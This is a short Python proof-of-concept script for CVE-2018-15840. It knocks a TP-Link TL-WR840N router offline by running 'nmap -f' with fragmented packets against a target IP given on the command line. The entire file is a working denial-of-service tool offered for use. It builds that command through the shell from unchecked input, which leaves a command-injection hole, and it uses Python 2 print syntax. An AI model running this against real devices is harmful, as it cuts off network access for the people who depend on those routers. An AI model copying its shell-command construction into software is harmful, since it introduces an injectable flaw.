#Device: TP-Link TL-WR840N Firmware: 0.9.1 4.16
#실행을 완료하기 위해 40초 정도 소요됨
import subprocess
import sys
from colorama import Fore

description= r"""
 -----------------------------------------------------------------------------
|                              CVE-2018-15840                                |
|                                                                            |
|  TP-Link TL-WR840N devices allow remote malicious users to cause a denial  |
|  of service (networking outage) via fragmented packets, as demonstrated by | 
|  an "nmap -f" command.                                                     |
 -----------------------------------------------------------------------------
"""

if len(sys.argv) is not 2:
   print(description)
   print(Fore.YELLOW+"[-] Example: python cve-2018-15840.py <Target IP>"+Fore.RESET)
   sys.exit()

target = sys.argv[1]
res = subprocess.check_output('nmap -f ' + target, shell=True)
print res
